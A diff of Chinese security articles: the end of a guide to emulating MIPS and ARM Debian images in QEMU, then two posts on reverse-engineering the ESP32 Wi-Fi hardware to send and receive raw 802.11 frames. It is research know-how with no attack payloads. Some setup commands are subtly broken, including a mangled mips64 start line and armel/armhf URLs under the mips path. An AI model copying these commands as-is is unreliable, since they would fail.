使用以下脚本启动虚拟机。
|
||||
|
||||
```
|
||||
sudo qemu-system-mips64 -nographic -M malta -kernel vmlinux-2.6.32-5-5kc-malta -hda debian_squeeze_mips_standard.qcow2 -net nic,macaddr=52:54:00:12:34:56 -net tap -append "root=/dev/sda1 console=tty0"
|
||||
```
|
||||
|
||||
通过`ifconfg`查看网络接口信息,并编辑`/etc/network/interfaces `,保证接口名一致,这里是`eth0 `
|
||||
|
||||
```
|
||||
# vi /etc/network/interfaces
|
||||
|
||||
# This file describes the network interfaces available on your system
|
||||
# and how to activate them. For more information, see interfaces(5).
|
||||
|
||||
# The loopback network interface
|
||||
auto lo
|
||||
iface lo inet loopback
|
||||
|
||||
# The primary network interface
|
||||
allow-hotplug eth0
|
||||
iface eth0 inet dhcp
|
||||
```
|
||||
|
||||
通过`ifup eth0`启用`eth0`,此时虚拟机ip就会分配到ubuntu主机一个c段,可以上网通信了。
|
||||
|
||||
```
|
||||
# ifconfig
|
||||
eth0 Link encap:Ethernet HWaddr 52:54:00:12:34:56
|
||||
inet addr:172.16.1.166 Bcast:172.16.1.255 Mask:255.255.255.0
|
||||
inet6 addr: fe80::5054:ff:fe12:3456/64 Scope:Link
|
||||
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
|
||||
RX packets:23 errors:0 dropped:0 overruns:0 frame:0
|
||||
TX packets:28 errors:0 dropped:0 overruns:0 carrier:0
|
||||
collisions:0 txqueuelen:1000
|
||||
RX bytes:2404 (2.3 KiB) TX bytes:2648 (2.5 KiB)
|
||||
Interrupt:10 Base address:0x1020
|
||||
|
||||
lo Link encap:Local Loopback
|
||||
inet addr:127.0.0.1 Mask:255.0.0.0
|
||||
inet6 addr: ::1/128 Scope:Host
|
||||
UP LOOPBACK RUNNING MTU:16436 Metric:1
|
||||
RX packets:10 errors:0 dropped:0 overruns:0 frame:0
|
||||
TX packets:10 errors:0 dropped:0 overruns:0 carrier:0
|
||||
collisions:0 txqueuelen:0
|
||||
RX bytes:784 (784.0 B) TX bytes:784 (784.0 B)
|
||||
```
|
||||
|
||||
此时可以上网了。
|
||||
|
||||
```
|
||||
# ping baidu.com
|
||||
PING baidu.com (220.181.38.148) 56(84) bytes of data.
|
||||
64 bytes from 220.181.38.148: icmp_req=1 ttl=128 time=119 ms
|
||||
64 bytes from 220.181.38.148: icmp_req=2 ttl=128 time=118 ms
|
||||
64 bytes from 220.181.38.148: icmp_req=3 ttl=128 time=116 ms
|
||||
64 bytes from 220.181.38.148: icmp_req=4 ttl=128 time=117 ms
|
||||
```
|
||||
|
||||
# 0x04其他架构
|
||||
|
||||
## mips64
|
||||
|
||||
```
|
||||
$ mkdir debian-mips64-qemu
|
||||
$ cd debian-mips64-qemu
|
||||
$ wget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2
|
||||
$ wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-5kc-malta
|
||||
$ echo "sudo qemu-system-mips64 -nosudo qemu-system-mips64 -nographic -M malta -kernel vmlinux-2.6.32-5-5kc-malta -hda debian_squeeze_mips_standard.qcow2 -net nic,macaddr=52:54:00:12:34:56 -net tap -append "root=/dev/sda1 console=tty0"" > start.sh
|
||||
$ sudo chmod a+x start.sh
|
||||
$ ./start.sh
|
||||
```
|
||||
|
||||
## mips
|
||||
|
||||
```
|
||||
$ mkdir debian-mips-qemu
|
||||
$ cd debian-mips-qemu
|
||||
$ wget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2
|
||||
$ wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta
|
||||
$ echo "sudo qemu-system-mips -nographic -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -net nic,macaddr=52:54:00:12:34:56 -net tap -append "root=/dev/sda1 console=tty0"" > start.sh
|
||||
$ sudo chmod a+x start.sh
|
||||
$ ./start.sh
|
||||
```
|
||||
|
||||
## armel
|
||||
|
||||
```
|
||||
$ mkdir debian-armel-qemu
|
||||
$ cd debian-armel-qemu
|
||||
$ wget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_armel_standard.qcow2
|
||||
$ wget https://people.debian.org/~aurel32/qemu/mips/vmlinuz-2.6.32-5-versatile
|
||||
$ echo "sudo qemu-system-arm -nographic -M versatilepb -kernel vmlinuz-2.6.32-5-versatile -initrd initrd.img-2.6.32-5-versatile -hda debian_squeeze_armel_standard.qcow2 -net nic,macaddr=52:54:00:12:34:56 -net tap -append "root=/dev/sda1 console=tty0"" > start.sh
|
||||
$ sudo chmod a+x start.sh
|
||||
$ ./start.sh
|
||||
```
|
||||
|
||||
## armhf
|
||||
|
||||
```
|
||||
$ mkdir debian-armhf-qemu
|
||||
$ cd debian-armhf-qemu
|
||||
$ wget https://people.debian.org/~aurel32/qemu/mips/debian_wheezy_armhf_standard.qcow2
|
||||
$ wget https://people.debian.org/~aurel32/qemu/mips/vmlinuz-3.2.0-4-vexpress
|
||||
$ echo "sudo qemu-system-arm -nographic -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -net nic,macaddr=52:54:00:12:34:56 -net tap -append "root=/dev/sda1 console=tty0"" > start.sh
|
||||
$ sudo chmod a+x start.sh
|
||||
$ ./start.sh
|
||||
```
|
||||
|
||||
## mipsel
|
||||
|
||||
```
|
||||
$ mkdir debian-mipsel-qemu
|
||||
$ cd debian-mipsel-qemu
|
||||
$ wget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mipsel_standard.qcow2
|
||||
$ wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta
|
||||
$ echo "sudo qemu-system-mipsel -nographic -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -net nic,macaddr=52:54:00:12:34:56 -net tap -append "root=/dev/sda1 console=tty0"" > start.sh
|
||||
$ sudo chmod a+x start.sh
|
||||
$ ./start.sh
|
||||
```
|
||||
|
||||
## mips64el
|
||||
|
||||
```
|
||||
$ mkdir debian-mips64el-qemu
|
||||
$ cd debian-mips64el-qemu
|
||||
$ wget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mipsel_standard.qcow2
|
||||
$ wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-5kc-malta
|
||||
$ echo "sudo qemu-system-mips64el -nographic -M malta -kernel vmlinux-2.6.32-5-5kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -net nic,macaddr=52:54:00:12:34:56 -net tap -append "root=/dev/sda1 console=tty0"" > start.sh
|
||||
$ sudo chmod a+x start.sh
|
||||
$ ./start.sh
|
||||
```
|
||||
|
||||
# 0x05自启脚本
|
||||
|
||||
可以将需要的虚拟机放到各自文件夹下,并创建对应的启动脚本方便一键启动。
|
||||
|
||||
这里是`armel`的启动脚本。
|
||||
|
||||
```
|
||||
#!/usr/bin/env python
|
||||
# -*- coding:utf-8 -*-
|
||||
import os
|
||||
import time
|
||||
try:
|
||||
cmd = ' "sudo qemu-system-arm -nographic -M versatilepb -kernel vmlinuz-2.6.32-5-versatile -initrd initrd.img-2.6.32-5-versatile -hda debian_squeeze_armel_standard0.qcow2 -net nic,macaddr=52:54:00:12:10:65 -net tap,ifname=tap0 -append "root=/dev/sda1 console=ttyAMA0";exec bash"\''
|
||||
os.system("gnome-terminal -e 'bash -c" + cmd)
|
||||
time.sleep(30)
|
||||
exit(0)
|
||||
except OSError as e:
|
||||
pass
|
||||
```
|
||||
|
||||
通过复制qcow2文件和更改macadam,还可以实现批量启动,模拟大规模设备。
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,143 @@
|
||||
# 如何手搓一个Wi-Fi协议栈(1)
|
||||
> heiyu
|
||||
> 来源:https://www.iotsec-zone.com/article/468
|
||||
|
||||
ESP32 是一款在创客社区中因其低价(约 5 欧元)和实用功能而广受欢迎的微控制器:它具有双核 CPU、内置 Wi-Fi 和蓝牙连接以及 520 KB 的 RAM。它也被商业使用,应用于从智能二氧化碳计到工业自动化控制器的设备。用于编程 ESP32 的大部分软件开发工具包是开源的,但无线部分(Wi-Fi、蓝牙、低级 RF 功能)除外:这些功能以预编译库的形式分发,然后编译到开发者编写的固件中。
|
||||
|
||||
闭源的 Wi-Fi 实现与开源实现相比有几个缺点:
|
||||
- 您依赖于供应商(在这种情况下是 Espressif)来添加功能;如果您有一些非标准的用例,您可能会失去机会。例如,ESP32 不支持符合标准的网状网络(IEEE 802.11s);有一个Espressif 制作的部分闭源网状网络实现,但这相当有限:网状网络具有树形拓扑,并在连接到根网络的节点上使用 NAT,这使得从网状网络外部连接到网状网络中的节点变得困难。该协议也没有文档,因此与其他设备不兼容。
|
||||
- 很难审计实现的安全性:由于没有可用的源代码,你必须依赖黑箱模糊测试和逆向工程来发现安全漏洞。
|
||||
- 此外,开源实现将使低功耗 Wi-Fi 网状网络的研究变得更加经济实惠;如果每个节点仅需约 5 欧元,涉及数百个节点的研究在适度预算下是可负担的。
|
||||
|
||||
Espressif 在他们的 esp32-wifi-lib 仓库中有一个未解决的问题,要求开源 MAC 层。在那个问题中,他们在 2016 年确认开源上层 MAC 在他们的路线图上,但截至 2023 年,仍然没有发布任何内容。拥有源代码将使我们能够实现符合 802.11s 标准的网状网络。
|
||||
|
||||
# 目标
|
||||
该项目的主要目标是构建一个最小化的替代品,以取代 Espressif 的专有 Wi-Fi 二进制文件。我们并不打算与使用 Espressif ESP-IDF API 的现有代码保持 API 兼容,而是希望拥有一个完全可用的开源网络栈。
|
||||
|
||||
本节其余部分将包含有关网络协议栈和 Wi-Fi(802.11 标准)如何工作的相关信息,因此如果您已经熟悉,可以跳过此部分。
|
||||
|
||||

|
||||
网络协议栈的 OSI 模型(应用层/表示层/会话层之间的区别有点模糊)
|
||||
|
||||
上面可以看到一个显示网络协议栈的图示。计算机网络是通过网络协议栈实现的,协议栈中的每一层都有其特定的目的;这种设计使得更换层变得更容易,并允许对各层进行独立开发。协议栈底部的层与物理世界进行交互(例如,通过使用无线电波或电信号);每一层都增加了自己的功能。Wi-Fi(工程师称之为 802.11 标准)在底部的两层中实现:物理层(无线电波形的样子,……)和 MAC 层(我们如何连接到接入点,存在什么数据包,如何将数据包发送到本地设备,……)。
|
||||
|
||||
在 ESP32 上,物理层是通过硬件实现的;大部分 MAC 层是通过专有代码实现的。一个显著的例外是发送确认帧:如果设备接收到一个帧,它应该发送一个数据包以确认该数据包已正确接收。这个 ACK 数据包需要在大约 10 微秒内发送;在软件中很难准确把握这个时机。
|
||||
|
||||
有三种类型的 MAC 帧:
|
||||
- 管理帧:主要用于管理接入点与站点(客户端)之间的连接
|
||||
- 控制帧:帮助传送其他类型的帧(例如确认帧,但也包括请求发送和清除发送)
|
||||
- 数据帧:包含 MAC 层上方层的数据
|
||||
|
||||
# 先前的工作
|
||||
由于 Espressif 似乎不会很快发布开源的 MAC 实现,我们只能自己来创建。这相当困难,因为我们在 ESP32 上发送和接收 802.11 数据包的硬件完全没有文档。这意味着我们需要对硬件进行逆向工程;首先,我们需要记录硬件的功能,然后我们需要编写自己的代码以正确与之交互。在 2021 年,Uri Shaked 对 ESP32 Wi-Fi 硬件进行了非常轻微的逆向工程,以便在他的模拟器中模拟它。这样,ESP32 的程序可以在模拟器中运行,而不是在真实硬件上运行。Shaked 对此进行了演讲,但只讨论了关于硬件的非常高层次的细节。Espressif 有他们自己的 QEMU 分支(一个流行的开源模拟器),也可以模拟 ESP32,但这个分支不支持模拟 Wi-Fi 硬件。在 2022 年,Martin Johnson 为他们自己的 Espressif QEMU 分支添加了对 Wi-Fi 硬件的基本支持。模拟的 ESP32 可以连接到虚拟接入点,或者让虚拟客户端连接到它。
|
||||
|
||||
esp-idf(ESP32 的 SDK)有一个传输帧的功能( `esp_wifi_80211_tx`),但该功能仅接受某些类型的帧;它不允许发送大多数管理帧,严重限制了基于此 API 构建 802.11 MAC 栈的实用性。他们还有一个功能( `esp_wifi_set_promiscuous_rx_cb`)用于在接收到帧时接收回调。
|
||||
|
||||
# 工具
|
||||
在我们开始逆向工程 802.11 PHY 硬件的工作原理以及我们如何与之互动之前,我们首先需要找到或构建能够帮助我们的工具。我们将使用三种主要方法:
|
||||
- 静态逆向工程:我们拥有实现 Wi-Fi 协议栈的编译库,因此我们可以查看编译后的代码并尝试将其反编译为人类可读的代码。通过这些更易读的代码,我们接着尝试了解硬件期望软件执行的操作。
|
||||
- 动态代码分析在仿真器中:我们可以在仿真器中运行固件,并检查它如何与虚拟硬件交互。这有很多自由度来检查硬件的优点,但缺点是仿真器可能与真实硬件的行为不同。由于我们需要自己编写仿真外设,这个风险是真实的:Wi-Fi 外设没有公开的数据手册,因此我们必须根据与其交互的代码来猜测硬件的行为。
|
||||
- 在真实硬件上进行动态代码分析:我们可以在实际的 ESP32 上运行固件,并使用 JTAG 调试器进行调试。这使我们能够设置断点、检查内存和寄存器、暂停和恢复执行……缺点是与在模拟器中运行相比,调试能力更有限:我们只能设置 2 个断点,无法设置观察点(在对特定地址进行内存读/写时触发的断点)……与使用模拟器相比,最大的优势是我们可以确定硬件的行为是正确的。
|
||||
|
||||
# 静态分析
|
||||
对于静态分析,我们使用 Ghidra,这是一个由 NSA 制作的开源逆向工程工具。开箱即用,Ghidra 尚不支持Xtensa(ESP32 的 CPU 架构),但有一个插件可以添加支持。ESP32 SDK 中使用的构建工具生成 ELF 文件(可以包含元数据的一种二进制文件)和扁平二进制文件:使用 ELF 文件的好处是可以自动设置大多数函数名称。
|
||||
|
||||
# 仿真器中的动态分析
|
||||
我们从 Martin Johnson 对 Espressif 版本的 QEMU(一个流行的开源模拟器)的分支开始,并将他们的更改移植到 Espressif 最新版本的 QEMU 分支上。ESP32 通过内存映射 IO 与其外设通信:通过读取和写入某些内存地址,外设向 CPU 提供信息并执行操作。为了帮助逆向工程,我们在 QEMU Wi-Fi 外设中添加了日志语句,记录对其内存范围的每次访问。
|
||||
|
||||
此外,我们还在 QEMU 中实现了堆栈展开;这对于每个与 Wi-Fi 相关的硬件外设的内存访问都进行此操作。这样,我们可以为每个外设访问获取完整的堆栈跟踪。符号没有被剥离,因此这是一个非常有用的工具。然而,为了使堆栈展开正常工作,我们必须以单步模式运行 QEMU:QEMU 有一个 JIT 编译器,可以将模拟的汇编指令序列编译成优化的基本块。这大大提高了执行速度,但由于 CPU 执行状态仅在基本块的开头保证正确,如果在这样的基本块中间发生外设内存访问,堆栈展开算法将给出错误的结果。
|
||||
|
||||
以单步模式运行会抵消 QEMU JIT 编译器的许多好处,导致代码运行得更慢。与执行跟踪提供的大量信息相比,这并不是一个太大的缺点。
|
||||
|
||||
以下是 QEMU 记录的单个内存访问的示例:它是对地址 `3ff46094` 的写入 ( `W`),值为 `00010005`,由函数 `ram_pbus_force_test` 完成。调用栈的其余部分也被记录,并在可用时翻译为符号名称。
|
||||
|
||||
```
|
||||
W 3ff46094 00010005 ram_pbus_force_test 400044f4 set_rx_gain_cal_dc set_rx_gain_testchip_70 set_rx_gain_table bb_init register_chipv7_phy esp_phy_load_cal_and_init esp_phy_enable wifi_hw_start wifi_start_process ieee80211_ioctl_process ppTask vPortTaskWrapper
|
||||
```
|
||||
最后,我们还修正了 MAC 地址的处理(与马丁·约翰逊的版本相比),以便数据包捕获中的数据包具有正确的 MAC 地址,而不是硬编码的地址。
|
||||
|
||||
# 在真实硬件上的动态分析
|
||||
为了在真实硬件上动态分析固件,我们使用 JTAG 硬件调试接口。通过在 ESP32 和 JTAG 调试器之间连接一些跳线,我们可以调试 ESP32。我们按照这个 GitHub 仓库中描述的步骤使我们的 JTAG 调试器(CJMCU-232H)正常工作。
|
||||
|
||||
除了 JTAG 调试器,我们还将 USB Wi-Fi 适配器直接连接到 ESP32:ESP32 的 ESP32-WROOM-32U 变体具有天线连接器。我们将该天线连接器连接到一个 60 dB 的衰减器(这会将信号衰减 60dB),然后将其连接到无线适配器的天线连接器。这样,我们将能够仅接收来自 ESP32 的数据包,而 ESP32 将仅接收无线适配器发送的数据包。
|
||||
|
||||
这个想法不幸的是并没有完全奏效:来自外部接入点的足够无线电波泄漏到天线连接器,使得无线接收器也接收到了它们的数据包。我们尝试用一个油漆罐建造一个低成本的法拉第笼来防止这种情况,但这只减少了外部信号 10dB:这去掉了一些接入点,但并不是全部。目前的解决方案显然不是理想的,因此我们已经开始着手建造一个更好、更大的法拉第笼,使用导电面料和光纤数据通信。
|
||||
|
||||

|
||||
接收器连接到 ESP32,中间有两个 30 dB 的衰减器
|
||||
|
||||

|
||||
用油漆罐制作的法拉第笼,使用铜带封闭 USB 连接器的孔,并使用铁氧体磁环减少射频泄漏
|
||||
|
||||
# 建筑
|
||||
|
||||
### 软 MAC 与硬 MAC
|
||||
SoftMAC(软件 MAC)和 HardMAC(硬件 MAC)指的是实现 Wi-Fi MAC 层的两种不同方法。SoftMAC 依赖软件来管理 MAC 层功能,这提供了灵活性和易于修改的优势,但可能会消耗更多的电力/CPU 周期。另一方面,HardMAC 将 MAC 层处理卸载到专用硬件上,从而减少 CPU 使用和电力消耗,但限制了在没有硬件更改的情况下适应新功能的能力。
|
||||
|
||||
ESP32 似乎采用了 SoftMAC 方法:您可以直接发送和接收 802.11 帧(而不是使用 HardMAC,在这种情况下,您告诉硬件您想连接到某个 AP,然后它会自动构建必要的帧并发送)。这对我们的开源实现来说是个好消息,因为已经存在用于 SoftMAC 的开源 802.11 MAC 栈(例如,Linux 内核中的 mac80211)。
|
||||
|
||||
### 外设
|
||||
Wi-Fi 功能是通过多个硬件外设实现的,每个外设负责功能的不同部分。通过逆向工程,以下外设被识别为“用于 Wi-Fi 功能”(这些是可以访问外设的内存地址):
|
||||
|
||||
- MAC 外设,位于 0x3ff73000 到 0x3ff73fff 和 0x3ff74000 到 0x3ff74fff
|
||||
- RX 控制寄存器,位于 0x3ff5c000 到 0x3ff5cfff
|
||||
- 基带,从 0x3ff5d000 到 0x3ff5dfff
|
||||
- `chipv7_phy` (?) 在 3ff71000 到 3ff71fff
|
||||
- `chipv7_wdev` (?) 从 3ff75000 到 3ff75fff
|
||||
- RF 前端,位于 3ff45000 到 3ff45fff 和 3ff46000 到 3ff46fff
|
||||
- 模拟在 3ff4e000 到 3ff4efff(这也被连接到 GPIO 引脚的 DAC 使用)
|
||||
|
||||
需要注意的是,这些外设在地址空间中被镜像到另一个位置:
|
||||
|
||||
```
|
||||
通过 0x3FF40000 ~ 0x3FF7FFFF 地址空间(DPORT 地址)访问的外设也可以通过 0x60000000 ~ 0x6003FFFF(AHB 地址)访问。(0x3FF40000 + n)地址和(0x60000000 + n)地址访问相同的内容,其中 n = 0 ~ 0x3FFFF。
|
||||
```
|
||||
# 生命周期
|
||||
通过编写一些最小化的固件,仅在循环中发送数据包,并使用之前描述的三种逆向工程策略,确定了发送数据包的 Wi-Fi 硬件生命周期的高层次概述:
|
||||
1. 调用 `esp_wifi_start()`,这间接调用 `esp_phy_enable()`
|
||||
2. `esp_phy_enable()` 负责初始化 wifi 硬件:
|
||||
3. 校准 PHY 硬件:这尝试补偿硬件的缺陷。根据数据表,这至少包括:I/Q 相位匹配;天线匹配;补偿载波泄漏、基带非线性、功率放大器非线性和射频非线性(我更偏向于软件而不是电子工程师,所以我不太清楚这些术语的具体含义)。此校准可以存储到非易失性存储器和内存中。这是为了避免每次 ESP32 从调制解调器睡眠中唤醒时都进行完全校准。
|
||||
4. 初始化 MAC 外设:设置接收 MAC 地址过滤器,设置接收数据包的缓冲区,设置自动确认策略,设置芯片自身的 MAC 地址。
|
||||
5. 设置各种物理无线电属性(发射速率、频率、发射功率等)
|
||||
6. 设置电源管理计时器:如果数据包发送不够频繁,调制解调器的省电计时器将启动,并去初始化部分 Wi-Fi 硬件以节省电力。
|
||||
7. 现在,我们准备发送一个数据包:
|
||||
8. 唤醒一些 Wi-Fi 外设从深度睡眠中恢复,并在需要时恢复它们的校准
|
||||
9. 设置一些与数据包相关的元数据(可能是速率和其他物理层设置)
|
||||
10. 创建一个 DMA 条目,包括数据包的长度和包含 MAC 数据的缓冲区地址。MAC 帧校验和由硬件自动计算。DMA 代表直接内存访问:这意味着我们只需告诉硬件数据包的位置和长度,硬件就会自行读取该内存并传输数据包。
|
||||
11. 将 DMA 条目的最低位写入硬件寄存器,然后通过在该寄存器的位掩码中设置一个位来启用传输。
|
||||
12. 一旦数据包发送,中断 0 将触发以通知我们传输的成功程度。我们可以对冲突和超时做出反应(可能也会对收到的确认应答做出反应?)。我们还必须清除指示数据包已发送的中断位。
|
||||
|
||||
# 实现传输数据包
|
||||
作为一个(非常有限的)概念验证,我们希望通过直接使用内存映射外设发送任意的 802.11 帧,而不使用 SDK 函数。正如上面的生命周期图所示,在传输之前,我们首先需要初始化 wifi 硬件。不幸的是,这个初始化比发送数据包要复杂得多:初始化硬件大约需要 50000 次外设内存访问,而发送一个数据包(包括处理中断)大约只需要 50 次。这些数字并不完全准确,但它们给出了所涉及复杂性的一个大致概念。
|
||||
|
||||
对于基本的“传输数据包”概念验证,我们目前仍在使用专有功能来初始化 wifi 硬件。我们遇到的问题是,在初始化后,调制解调器的省电计时器会启动并取消初始化 wifi 外设,导致我们无法发送数据包。为了解决这个问题,我们使用 SDK 发送一个数据包,然后立即调用未记录的 `pm_disconnected_stop()`函数,该函数禁用调制解调器的省电模式计时器。之后,我们可以通过直接写入 MAC 外设地址来发送任意数据包。对于这个概念验证,我们不需要替换 wifi 事件的中断处理程序:现有的专有处理程序可以很好地处理“数据包已发送”的中断。
|
||||
|
||||
基本概念的基本证明有效,我们可以通过直接读写内存地址来传输任意数据包!
|
||||
|
||||
# 当前路线图
|
||||
现在我们可以传输数据包,但我们还有很多工作要做:这是待办事项清单,按优先级大致排序
|
||||
|
||||
- ☑ 发送数据包
|
||||
- ☐ 接收数据包:为此,我们需要执行以下操作:
|
||||
- 设置 RX 策略(根据 MAC 地址过滤数据包)/启用混杂模式以接收所有数据包
|
||||
- 设置我们希望通过 DMA 接收数据包的内存地址
|
||||
- 将 wifi 中断替换为我们自己的中断;代码表明可能存在某种 wifi 看门狗,我们需要弄清楚如何照顾它。
|
||||
- ☐ 如果我们收到一个发往我们的数据包,则发送确认(ACK)数据包回去
|
||||
- ☐ 实施更改 wifi 频道、速率、发射功率等…
|
||||
- ☐ 将我们的实现与现有的开源 802.11 MAC 栈结合,以便 ESP32 能够与接入点关联
|
||||
- ☐ 实现硬件初始化(现在由 esp_phy_enable() 完成)。这将是一项艰巨的任务,因为所有的校准例程都需要实现,但也有很高的回报:我们将拥有一个完全无 blob 的 ESP32 固件。
|
||||
|
||||
以及一份可能的未来扩展列表,这些扩展尚未在路线图上,但无论如何都是有用的:
|
||||
- ☐ 实施调制解调器省电:在不使用时关闭调制解调器
|
||||
- ☐ AMSDU, AMPDU, HT40, QoS
|
||||
- ☐ 在硬件中进行 WPA2 等所需的加密,而不是在软件中进行
|
||||
- ☐ 蓝牙
|
||||
- ☐ 为所有反向工程的寄存器编写 SVD 文档。SVD 文件是一个描述微控制器硬件特性的 XML 文件,这使得可以从硬件描述自动生成 API。Espressif 已经有一个包含已记录硬件寄存器的 SVD 文件;我们可以记录未记录的寄存器并(自动)合并它们。
|
||||
|
||||
# 代码
|
||||
所有代码和文档都可以在esp32-open-mac GitHub 组织中找到。我认为,特别是 QEMU 分支由于其内存追踪功能,对其他逆向工程师来说非常有用。
|
||||
|
||||
# 更新
|
||||
自从开始写这篇博客文章以来,接收数据包的功能也已实现。为了实现这一点,我们需要实现 Wi-Fi MAC 中断处理程序并管理 RX DMA 缓冲区。这意味着我们现在可以仅使用开源代码发送和接收数据包:硬件初始化仍然使用专有代码,但在完成此设置后,仅使用开源代码来发送和接收数据包,不再执行任何专有代码。第二部分在这里。
|
||||
|
||||
声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与技术交流之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
|
||||
@@ -0,0 +1,96 @@
|
||||
# 如何手搓一个Wi-Fi协议栈(2)
|
||||
> heiyu
|
||||
> 来源:https://www.iotsec-zone.com/article/469
|
||||
|
||||
这是关于逆向工程 ESP32 Wi-Fi 网络栈系列中的第二篇文章,目标是构建我们自己的开源 MAC 层。在本系列的上一篇文章中,我们构建了用于逆向工程的静态和动态分析工具。我们还开始了发送数据包的传输路径的逆向工程,并以粗略的路线图和对贡献者的呼吁结束。
|
||||
|
||||
在这一部分,我们将继续进行逆向工程,从“接收数据包”功能开始:上次我们成功地传输了数据包。本部分的目标是使发送和接收都能正常工作。为了证明我们的设置有效,我们将尝试连接到一个接入点,并向同样连接到网络的计算机发送一些 UDP 数据包。
|
||||
|
||||
# 接收功能
|
||||
|
||||
作为简短的回顾,传输功能的工作原理是:
|
||||
|
||||
1. 将您要传输的数据包放入内存中
|
||||
2. 创建一个 DMA(直接内存访问)结构体。该结构体包含:
|
||||
|
||||
- 您要传输的数据包的地址
|
||||
- 数据包的长度和大小(我还没有完全弄清楚它们之间的区别,但一个似乎总是比另一个大 32)
|
||||
- 下一个数据包的地址(我们将其设置为 NULL 以传输单个数据包)
|
||||
|
||||
1. 写一些其他内存外设以配置您即将传输的数据包的设置
|
||||
2. 将 DMA 结构的地址写入内存映射 IO 地址
|
||||
3. 硬件随后自动读取 DMA 结构,并传输数据包
|
||||
4. 完成后,中断 0 将触发,告诉我们传输的成功程度
|
||||
|
||||
接收功能似乎使用相同的 DMA 结构,但方式略有不同:
|
||||
|
||||
1. 设置一个 DMA 结构的链表,其中结构的 `next`字段指向链表中的下一个 DMA 结构。最后一个 DMA 结构指向 NULL。每个 `address`字段指向一个缓冲区,长度和大小字段设置为缓冲区的大小。
|
||||
2. 将第一个 DMA 结构的地址写入内存映射 IO 地址 ( `WIFI_BASE_RX_DSCR`)。现在设置完成,我们可以接收数据包。
|
||||
3. 当硬件接收到一个数据包时,它会将数据包放入第一个可用的 DMA 结构的地址中。 `length`字段将指示数据包的长度; `size`字段将不会被更新。 `has_data`字段将被设置为 1。
|
||||
4. 中断 0 将触发以通知处理器已接收到数据包。此中断将通知一个非中断任务已接收到数据包。我们应该避免在中断中进行过多处理,因为我们希望尽快返回。
|
||||
5. 在中断之外,我们可以查看 DMA 结构的链表,以查看哪些结构的 `has_data`位被设置。然后可以将地址缓冲区进一步传递到 Wi-Fi MAC 栈中。我们希望避免耗尽用于接收数据包的 DMA 结构,因此我们必须扩展链表。我们可以通过分配一个新的 DMA 结构和数据包空间,并将其放在 DMA 链表的末尾来实现,但这种不断的分配和释放会非常低效。相反,我们通过重置现有 DMA 结构的字段并将其插入链表的末尾来回收它们。
|
||||
|
||||
# 实用性
|
||||
现在我们有了一种基本的接收数据包的方法,但在实现这一点时,没有接收到任何数据包:这可能是由于硬件 MAC 地址过滤器的原因:如果你是一个 Wi-Fi 设备,空中有很多你不感兴趣的数据包。例如,如果你是一个站点(例如,一部手机)并且连接到一个接入点,你实际上并不关心其他接入点发送给它们的站点的数据包。为了避免处理“无趣”数据包的开销,大多数 Wi-Fi 设备都有一个硬件过滤器,你可以设置想要接收的数据包的 MAC 地址。然后,硬件将过滤掉具有不同 MAC 地址的数据包,只将匹配 MAC 地址的数据包转发给软件。
|
||||
|
||||
ESP32 似乎也实现了这一功能,但幸运的是,ESP32 还实现了一种监视模式(也称为混杂模式),在该模式下,硬件接收到的每个数据包都会传递给软件。ESP32 SDK 中有一个调用 `esp_wifi_set_promiscuous(bool)`,您可以在其中启用或禁用此功能。当我们启用此功能时,确实开始接收数据包。我们最终会进行逆向工程并实现硬件 MAC 地址过滤,但现在我们只会在软件中进行过滤。
|
||||
|
||||
# 连接到接入点
|
||||
现在我们已经实现了发送和接收,你可能会认为我们可以连接到接入点并开始发送数据包,对吧?其实并不是这样:由于这是一个大项目,我们在每个阶段只实现了最低限度的功能。这与 Ladybird 构建新浏览器的方法是一样的:
|
||||
|
||||
```
|
||||
如果你试图一次构建一个浏览器的一个规范,甚至是一个功能,你很可能会失去动力,完全失去兴趣。因此,我们倾向于专注于构建“垂直切片”的功能。这意味着设定实际的、跨领域的目标,比如“让 twitter.com/awesomekling 加载”, “让 discord.com 的登录功能正常工作”,以及其他类似的目标。
|
||||
```
|
||||
这种方法非常激励人,但有时会让你感到困惑,当你不得不弄清楚为什么某些东西不起作用时。
|
||||
|
||||
# 步骤 1:使用 Scapy
|
||||
在我们开始将 ESP32 连接到接入点之前,我们首先通过构建和发送数据包来实现将常规 USB Wi-Fi 适配器连接到接入点,以确保我们理解所需的一切;这样我们就会有一个已知的工作参考实现。我们发现了这篇博客文章,关于使用 Scapy,一个 Python 数据包操作库,连接到开放接入点。我们需要 4 个数据包来建立连接:
|
||||
|
||||
1. 客户端到接入点的认证
|
||||
2. 认证,从接入点到客户端
|
||||
3. 关联请求,从客户端到接入点
|
||||
4. 协会回应,来自 AP 对客户的回复
|
||||
|
||||
之后,如果一切顺利,我们可以从客户端向接入点发送数据帧,并且它们会被接受。我们稍微扩展了博客文章中的代码,以便在连接设置结束时也发送数据帧,并验证了一切正常。对于数据帧,我们使用了 UDP 数据包,因为我们只需构造一次数据包,然后可以不断发送;UDP 是无状态的,不像 TCP。
|
||||
|
||||
# 步骤 2:使用 ESP32
|
||||
|
||||
